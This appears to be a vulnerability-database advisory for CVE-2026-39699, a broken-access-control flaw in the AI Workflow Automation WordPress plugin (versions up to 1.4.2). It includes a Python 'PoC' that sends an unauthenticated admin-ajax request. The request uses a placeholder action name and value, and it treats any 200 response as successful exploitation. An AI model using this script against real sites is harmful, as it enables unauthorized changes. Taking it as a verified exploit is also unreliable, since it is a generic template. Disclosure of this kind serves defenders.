CVE-2026-39699

Description

Missing Authorization vulnerability in massiveshift AI Workflow Automation ai-workflow-automation-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Workflow Automation: from n/a through <= 1.4.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI Workflow Automation <= 1.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    PoC for CVE-2026-39699 Missing Authorization Vulnerability
    This script attempts to trigger an action without authentication.
    """
    # The vulnerable endpoint is typically an AJAX action or REST API route
    # Replace 'vulnerable_action' with the actual action name derived from plugin analysis
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    payload = {
        "action": "ai_workflow_automation_vulnerable_action", 
        "data": "malicious_config_value"
    }

    try:
        # Sending request without cookies or nonce
        response = requests.post(endpoint, data=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Potential exploitation successful. Server responded with 200 OK.")
            print(f"[+] Response body: {response.text[:100]}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    exploit_missing_auth(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39699
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39699
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39699/
[4] VulDB https://vuldb.com/cve/CVE-2026-39699
[5] https://patchstack.com/database/Wordpress/Plugin/ai-workflow-automation-lite/vulnerability/wordpress-ai-workflow-automation-plugin-1-4-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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